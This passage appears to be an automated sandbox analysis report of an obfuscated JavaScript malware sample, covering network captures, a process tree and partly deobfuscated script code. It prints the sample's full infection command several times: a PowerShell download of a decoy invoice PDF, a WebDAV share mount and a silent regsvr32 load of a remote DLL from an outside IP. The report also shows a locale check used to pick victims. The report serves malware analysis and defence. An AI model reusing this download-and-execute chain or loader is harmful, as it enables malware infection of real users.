Jan 11, 2025 02:12:43.317429066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.317439079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.317452908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.317471027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.317516088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.335685015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335697889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335710049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335757971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.335758924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335769892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335794926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.335921049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335932970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335959911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.335968018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335978985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.335989952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336005926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.336046934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.336210012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336220980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336236954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336250067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336261988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336273909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336280107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.336312056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.336468935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336479902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:43.336522102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.506522894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:43.964323997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:44.746208906 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:44.751107931 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:44.751183987 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:44.755825043 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:44.760763884 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:45.557833910 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 02:12:45.601694107 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:12:45.619328022 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 02:14:40.231950998 CET	49422	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:14:40.236821890 CET	53	49422	1.1.1.1	192.168.2.4
Jan 11, 2025 02:14:40.236897945 CET	49422	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:14:40.236967087 CET	49422	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:14:40.241786003 CET	53	49422	1.1.1.1	192.168.2.4
Jan 11, 2025 02:14:40.683979034 CET	53	49422	1.1.1.1	192.168.2.4
Jan 11, 2025 02:14:40.686508894 CET	49422	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:14:40.692822933 CET	53	49422	1.1.1.1	192.168.2.4
Jan 11, 2025 02:14:40.692883968 CET	49422	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:12:53.604271889 CET	54150	53	192.168.2.4	1.1.1.1
Jan 11, 2025 02:14:40.231447935 CET	53	52762	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:12:53.604271889 CET	192.168.2.4	1.1.1.1	0xd27	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:12:53.605945110 CET	1.1.1.1	192.168.2.4	0xc966	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:12:53.605945110 CET	1.1.1.1	192.168.2.4	0xc966	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:12:53.611032963 CET	1.1.1.1	192.168.2.4	0xd27	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7408	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:12:41.668299913 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:12:42.561466932 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:12:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:12:42.561501026 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:12:42.561513901 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:12:42.561702013 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:12:42.561713934 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 02:12:42.561728954 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 02:12:42.561929941 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 02:12:42.561968088 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 02:12:42.561979055 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 02:12:42.562200069 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 02:12:42.566492081 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7640	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:12:44.755825043 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:12:45.557833910 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:12:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:12:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js"
Imagebase:	0x7ff6c4f90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:12:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Imagebase:	0x7ff6e1a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:12:38
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:12:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:12:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:12:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e1a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:12:43
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff614810000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:12:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:12:45
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:12:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2260 --field-trial-handle=1528,i,10806060758790697450,4186649136611924250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function iknxpo() {	iknxpo() ➔ undefined
1	vxutiwj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fnrxtf = this[rvhqym + ksbef + pmgjq + wjdfexox + znmnbxob + pdwhaabj + kkzfv + bmykltc] ( this[pjgqqs + gscyo + jqjvjpgd + pmgjq + cdytnkrwd + rvhqym + bmykltc][jjxxfako + pmgjq + znmnbxob + ksbef + bmykltc + znmnbxob + bcvebq + ascauv + ffyveizd + znmnbxob + jqjvjpgd + bmykltc] ( pjgqqs + gscyo + jqjvjpgd + pmgjq + cdytnkrwd + rvhqym + bmykltc + rneztrphk + gscyo + lvcizes + znmnbxob + sprhcssl + sprhcssl ) [isymmgrl + znmnbxob + rqvwwhv + isymmgrl + znmnbxob + ksbef + rjzmgmxdx] ( lcxcq + xqkteg + zphgvejw + yqwggme + eyxiai + jjxxfako + issql + isymmgrl + isymmgrl + zphgvejw + vhpusmlbt + njpvj + eyxiai + issql + gscyo + zphgvejw + isymmgrl + wtkxkhiu + jjxxfako + lkcnkfth + kkzfv + bmykltc + pmgjq + lkcnkfth + sprhcssl + ayklp + kjfxzq + ksbef + kkzfv + znmnbxob + sprhcssl + wtkxkhiu + pdwhaabj + kkzfv + bmykltc + znmnbxob + pmgjq + kkzfv + ksbef + bmykltc + cdytnkrwd + lkcnkfth + kkzfv + ksbef + sprhcssl + wtkxkhiu + fctxx + lkcnkfth + jqjvjpgd + ksbef + sprhcssl + znmnbxob ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ctfpw = 0 ; ctfpw < vxutiwj[sprhcssl + znmnbxob + kkzfv + rqvwwhv + bmykltc + lvcizes] ; ++ ctfpw )
4	{
5	if ( fnrxtf == vxutiwj[ctfpw] )
6	{
7	fnrxtf = true;
8	break ;
9	}
10	}
11	if ( fnrxtf !== true )
12	this[pjgqqs + gscyo + jqjvjpgd + pmgjq + cdytnkrwd + rvhqym + bmykltc][aojeqr + obrbrw + cdytnkrwd + bmykltc] ( );
13	this[pjgqqs + gscyo + jqjvjpgd + pmgjq + cdytnkrwd + rvhqym + bmykltc][jjxxfako + pmgjq + znmnbxob + ksbef + bmykltc + znmnbxob + bcvebq + ascauv + ffyveizd + znmnbxob + jqjvjpgd + bmykltc] ( pjgqqs + gscyo + jqjvjpgd + pmgjq + cdytnkrwd + rvhqym + bmykltc + rneztrphk + gscyo + lvcizes + znmnbxob + sprhcssl + sprhcssl ) [pmgjq + obrbrw + kkzfv] ( jqjvjpgd + eapzzxb + rjzmgmxdx + ayklp + wnnccoqr + jqjvjpgd + ayklp + rvhqym + lkcnkfth + nrtmqydy + znmnbxob + pmgjq + wjdfexox + lvcizes + znmnbxob + sprhcssl + sprhcssl + rneztrphk + znmnbxob + jiufmfz + znmnbxob + ayklp + efzakl + jjxxfako + lkcnkfth + eapzzxb + eapzzxb + ksbef + kkzfv + rjzmgmxdx + ayklp + fresifj + pdwhaabj + kkzfv + vatzkoir + lkcnkfth + fnyza + znmnbxob + efzakl + pjgqqs + znmnbxob + ascauv + isymmgrl + znmnbxob + olpgbgz + obrbrw + znmnbxob + wjdfexox + bmykltc + ayklp + efzakl + bcvebq + obrbrw + bmykltc + tbdjkzwaa + cdytnkrwd + sprhcssl + znmnbxob + ayklp + vpvub + bmykltc + znmnbxob + eapzzxb + rvhqym + vpvub + wtkxkhiu + cdytnkrwd + kkzfv + vatzkoir + lkcnkfth + cdytnkrwd + jqjvjpgd + znmnbxob + rneztrphk + rvhqym + rjzmgmxdx + oocqapn + ayklp + lvcizes + bmykltc + bmykltc + rvhqym + uhbnxkf + wnnccoqr + wnnccoqr + ejzzdoknb + lajkjsyc + qnemvpwk + rneztrphk + ejzzdoknb + qeevzjnmc + qnemvpwk + rneztrphk + ejzzdoknb + rneztrphk + ggqsb + ycafmhbp + blign + wnnccoqr + cdytnkrwd + kkzfv + vatzkoir + lkcnkfth + cdytnkrwd + jqjvjpgd + znmnbxob + rneztrphk + rvhqym + lvcizes + rvhqym + fresifj + xxbmdj + xxbmdj + wjdfexox + bmykltc + ksbef + pmgjq + bmykltc + ayklp + vpvub + bmykltc + znmnbxob + eapzzxb + rvhqym + vpvub + wtkxkhiu + cdytnkrwd + kkzfv + vatzkoir + lkcnkfth + cdytnkrwd + jqjvjpgd + znmnbxob + rneztrphk + rvhqym + rjzmgmxdx + oocqapn + xxbmdj + xxbmdj + jqjvjpgd + eapzzxb + rjzmgmxdx + ayklp + wnnccoqr + jqjvjpgd + ayklp + kkzfv + znmnbxob + bmykltc + ayklp + obrbrw + wjdfexox + znmnbxob + ayklp + wtkxkhiu + wtkxkhiu + ejzzdoknb + lajkjsyc + qnemvpwk + rneztrphk + ejzzdoknb + qeevzjnmc + qnemvpwk + rneztrphk + ejzzdoknb + rneztrphk + ggqsb + ycafmhbp + blign + plkrkkkjm + rxyde + rxyde + rxyde + rxyde + wtkxkhiu + rjzmgmxdx + ksbef + vatzkoir + nrtmqydy + nrtmqydy + nrtmqydy + pmgjq + lkcnkfth + lkcnkfth + bmykltc + wtkxkhiu + xxbmdj + xxbmdj + jqjvjpgd + eapzzxb + rjzmgmxdx + ayklp + wnnccoqr + jqjvjpgd + ayklp + pmgjq + znmnbxob + rqvwwhv + wjdfexox + vatzkoir + pmgjq + qnemvpwk + ggqsb + ayklp + wnnccoqr + wjdfexox + ayklp + wtkxkhiu + wtkxkhiu + ejzzdoknb + lajkjsyc + qnemvpwk + rneztrphk + ejzzdoknb + qeevzjnmc + qnemvpwk + rneztrphk + ejzzdoknb + rneztrphk + ggqsb + ycafmhbp + blign + plkrkkkjm + rxyde + rxyde + rxyde + rxyde + wtkxkhiu + rjzmgmxdx + ksbef + vatzkoir + nrtmqydy + nrtmqydy + nrtmqydy + pmgjq + lkcnkfth + lkcnkfth + bmykltc + wtkxkhiu + ggqsb + qnemvpwk + rxyde + lajkjsyc + lajkjsyc + ggqsb + ggqsb + adxzqhy + ejzzdoknb + lajkjsyc + ejzzdoknb + blign + ycafmhbp + rxyde + adxzqhy + rneztrphk + rjzmgmxdx + sprhcssl + sprhcssl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll",0,false) ➔ 0
14	}
15	bmykltc = "T";
16	bmykltc = "L";
17	bmykltc = "n";
18	bmykltc = "U";
19	bmykltc = "T";
20	bmykltc = "N";
21	bmykltc = "H";
22	bmykltc = "x";
23	bmykltc = "K";
24	bmykltc = "V";
25	bmykltc = "F";
26	bmykltc = "u";
27	bmykltc = "W";
28	bmykltc = "v";
29	bmykltc = "D";
30	bmykltc = "M";
31	bmykltc = "i";
32	bmykltc = "Z";
33	bmykltc = "h";
34	bmykltc = "b";
35	bmykltc = "v";
36	bmykltc = "C";
37	bmykltc = "t";
38	yqwggme = "u";
39	yqwggme = "d";
40	yqwggme = "j";
41	yqwggme = "x";
42	yqwggme = "M";
43	yqwggme = "x";
44	yqwggme = "m";
45	yqwggme = "b";
46	yqwggme = "Q";
47	yqwggme = "x";
48	yqwggme = "y";
49	yqwggme = "O";
50	yqwggme = "B";
